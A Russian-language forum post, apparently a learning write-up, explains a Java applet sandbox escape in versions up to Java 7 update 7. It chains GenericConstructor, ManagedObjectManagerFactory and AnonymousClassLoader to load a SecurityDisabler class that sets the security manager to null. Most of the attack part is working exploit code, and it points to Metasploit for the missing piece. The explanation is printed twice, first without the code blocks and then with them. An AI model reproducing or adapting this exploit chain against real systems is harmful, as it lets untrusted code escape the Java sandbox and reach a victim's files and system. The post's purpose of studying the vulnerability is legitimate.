Надо упомянуть, что это мой первый опыт с Java и в частности с экспами такого типа. Если есть какие неточности или ошибки в описании - пожалуйста указывайте. Я понимаю, что разбор этой уязвимости уже был в англоязычном интернете, но мне захотелось покопать его самостоятельно, тем более это принесло много полезностей мне в плане образования =) Enjoy! Надеюсь кому-нибудь будет полезно.
В Java существует свой механизм защиты, который построен на понятии security/protection domain. Каждый домен включает в себя набор классов, экземплярам которых выданы одинаковые права (permissions). Для целей данной заметки достаточно выделить два домена - trusted и untrusted. К первому относится все системные классы (rt.jar) и подписанные апплеты, им разрешены все действия в системе. Ко второй категории относятся не подписанные апплеты и они сильно ограничены в правах (например им запрещено манипулировать с файлами и т.д.). При обращении к некоторому системному ресурсу происходит запрос к менеджеру безопасности (набор методов java.lang.SecurityManager.checkXXX), который проверяет есть у текущего потока права для доступа к ресурсу. Права определяются совокупностью прав кода, который присутствует в call stack, причем берется наименьший совокупный набор прав. Таким образом, чтобы доступ к ресурсу был выдан, необходимо чтобы весь код в call stack обладал необходимыми правами. Есть одно исключение из этого правила - priveledged блоки. Если некоторый код исполняется в контексте priveledged блока, то его права определяются правами вызвавшего метод doPriveledged кода.
Есть также возможность отключить менеджер безопасности, чтобы любые проверки прав были успешными, но этот код естественно должен исполнятся в контексте trusted домена. Но задача упрощается тем, что его также можно исполнить в контексте привилегированного блока - что сводит задачу к вопросу - как сделать только код вызывающий doPriveledged метод trusted, а не весь call stack.
Код, отключающий менеджер безопасности:
В силу разных причин (пример - развитие разных динамических языков, основанных на jvm и перенос старых на неё) в 2007-2008 шла разработка функционала для динамического определения call site для вызовов методов (InvokeDynamic), эти разработки вошли в jvm. Частью решения был также класс sun.invoke.anon.AnonymousClassLoader, который позволяет подгружать класс из байтового массива и патчить байткод налету. Он не входит в иеархию классов ClassLoader (которые подгружают классы из .class при первом обащении) и работает по своим уникальным правилам (до java 7 update 7 включительно). В частности, класс загруженный через него, получает security domain объекта, который запросил загрузку (при вызове конструктора по умолчанию):
Таким образом есть две проблемы, решение которых приведет нас к тому, чтобы дать SecurityDisabler права trusted домена:
1. sun.invoke.anon.AnonymousClassLoader запрещен для загрузки для untrasted домена (и как следствие для нашего неподписанного апплета)
2. Необходимо, чтобы загрузку класса инициировал системный trusted код.
Тут надо пару слов сказать про рефлексию. Это что-то типа RTTI в C++, те полная информация о классах и их членах в рантайме. С помощью нее можно получить например класс по имени, инстанциировать его и вызвать метод также по имени. К сожалению это решение неподходит, так как мы не можем загрузить класс в любом случае (см. проблему 1).
Вокруг рефлексии было создано много разных классов для тех или иных задач, один из них - com.sun.org.glassfish.gmbal.util.GenericConstructor. Этот класс позволяет получить любой конструктор по имени и инстанциировать класс, причем первое обращение к классу (в частности получение конструктора) он делает в priveledged блоке и сам является системным кодом (находится в rt.jar), что позволяет обойти обе проблемы. Таким образом следующий код позволит нам получить объект класса AnonymousClassLoader:
Но объект типа Object и мы его не можем скастить вниз по иеархии наследования, как и неможем вызвать метод для подгрузки класса или применить рефлексию для получения метода напрямую (нет прав), в силу чего мы должны воспользоваться оберткой, которая юзает рефлексию в priveledged блоке:
Код считывания .class файла в байтовый буфер я приводить не буду, его можно посмотреть в метасплойте. Все что нам осталось - вызвать метод и инстанциировать наш класс:
Последняя строка запустит конструктор по умолчанию класса SecurityDisabler, приведенного выше,
который в priveledged блоке отключит менеджер безопасности, после чего можно юзать любые системные ресурсы.
В Java существует свой механизм защиты, который построен на понятии security/protection domain. Каждый домен включает в себя набор классов, экземплярам которых выданы одинаковые права (permissions). Для целей данной заметки достаточно выделить два домена - trusted и untrusted. К первому относится все системные классы (rt.jar) и подписанные апплеты, им разрешены все действия в системе. Ко второй категории относятся не подписанные апплеты и они сильно ограничены в правах (например им запрещено манипулировать с файлами и т.д.). При обращении к некоторому системному ресурсу происходит запрос к менеджеру безопасности (набор методов java.lang.SecurityManager.checkXXX), который проверяет есть у текущего потока права для доступа к ресурсу. Права определяются совокупностью прав кода, который присутствует в call stack, причем берется наименьший совокупный набор прав. Таким образом, чтобы доступ к ресурсу был выдан, необходимо чтобы весь код в call stack обладал необходимыми правами. Есть одно исключение из этого правила - priveledged блоки. Если некоторый код исполняется в контексте priveledged блока, то его права определяются правами вызвавшего метод doPriveledged кода.
Есть также возможность отключить менеджер безопасности, чтобы любые проверки прав были успешными, но этот код естественно должен исполнятся в контексте trusted домена. Но задача упрощается тем, что его также можно исполнить в контексте привилегированного блока - что сводит задачу к вопросу - как сделать только код вызывающий doPriveledged метод trusted, а не весь call stack.
Код, отключающий менеджер безопасности:
Код:
import java.security.*;
public class SecurityDisabler implements PrivilegedExceptionAction
{
public SecurityDisabler()
{
try
{
AccessController.doPrivileged(this);
}
catch(PrivilegedActionException e)
{
e.printStackTrace();
}
}
public Object run() throws Exception
{
System.setSecurityManager(null);
return null;
}
}
В силу разных причин (пример - развитие разных динамических языков, основанных на jvm и перенос старых на неё) в 2007-2008 шла разработка функционала для динамического определения call site для вызовов методов (InvokeDynamic), эти разработки вошли в jvm. Частью решения был также класс sun.invoke.anon.AnonymousClassLoader, который позволяет подгружать класс из байтового массива и патчить байткод налету. Он не входит в иеархию классов ClassLoader (которые подгружают классы из .class при первом обащении) и работает по своим уникальным правилам (до java 7 update 7 включительно). В частности, класс загруженный через него, получает security domain объекта, который запросил загрузку (при вызове конструктора по умолчанию):
Код:
public AnonymousClassLoader()
{
this.hostClass = checkHostClass(null);
}
private static Class<?> checkHostClass(Class<?> hostClass)
{
Class<?> caller = sun.reflect.Reflection.getCallerClass(CHC_CALLERS);
if (caller == null)
{
// called from the JVM directly
if (hostClass == null)
return AnonymousClassLoader.class; // anything central will do
return hostClass;
}
if (hostClass == null)
hostClass = caller; // default value is caller itself
Таким образом есть две проблемы, решение которых приведет нас к тому, чтобы дать SecurityDisabler права trusted домена:
1. sun.invoke.anon.AnonymousClassLoader запрещен для загрузки для untrasted домена (и как следствие для нашего неподписанного апплета)
2. Необходимо, чтобы загрузку класса инициировал системный trusted код.
Тут надо пару слов сказать про рефлексию. Это что-то типа RTTI в C++, те полная информация о классах и их членах в рантайме. С помощью нее можно получить например класс по имени, инстанциировать его и вызвать метод также по имени. К сожалению это решение неподходит, так как мы не можем загрузить класс в любом случае (см. проблему 1).
Вокруг рефлексии было создано много разных классов для тех или иных задач, один из них - com.sun.org.glassfish.gmbal.util.GenericConstructor. Этот класс позволяет получить любой конструктор по имени и инстанциировать класс, причем первое обращение к классу (в частности получение конструктора) он делает в priveledged блоке и сам является системным кодом (находится в rt.jar), что позволяет обойти обе проблемы. Таким образом следующий код позволит нам получить объект класса AnonymousClassLoader:
Код:
GenericConstructor ctor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
Object loader = ctor.create(new Object[] {});
Но объект типа Object и мы его не можем скастить вниз по иеархии наследования, как и неможем вызвать метод для подгрузки класса или применить рефлексию для получения метода напрямую (нет прав), в силу чего мы должны воспользоваться оберткой, которая юзает рефлексию в priveledged блоке:
Код:
Method loadClass = ManagedObjectManagerFactory.getMethod(loader.getClass(), "loadClass", byte[].class);
Код считывания .class файла в байтовый буфер я приводить не буду, его можно посмотреть в метасплойте. Все что нам осталось - вызвать метод и инстанциировать наш класс:
Код:
Class securityDisabler = (Class) loadClass.invoke(loader, byteCode);
securityDisabler.newInstance();
Последняя строка запустит конструктор по умолчанию класса SecurityDisabler, приведенного выше,
который в priveledged блоке отключит менеджер безопасности, после чего можно юзать любые системные ресурсы.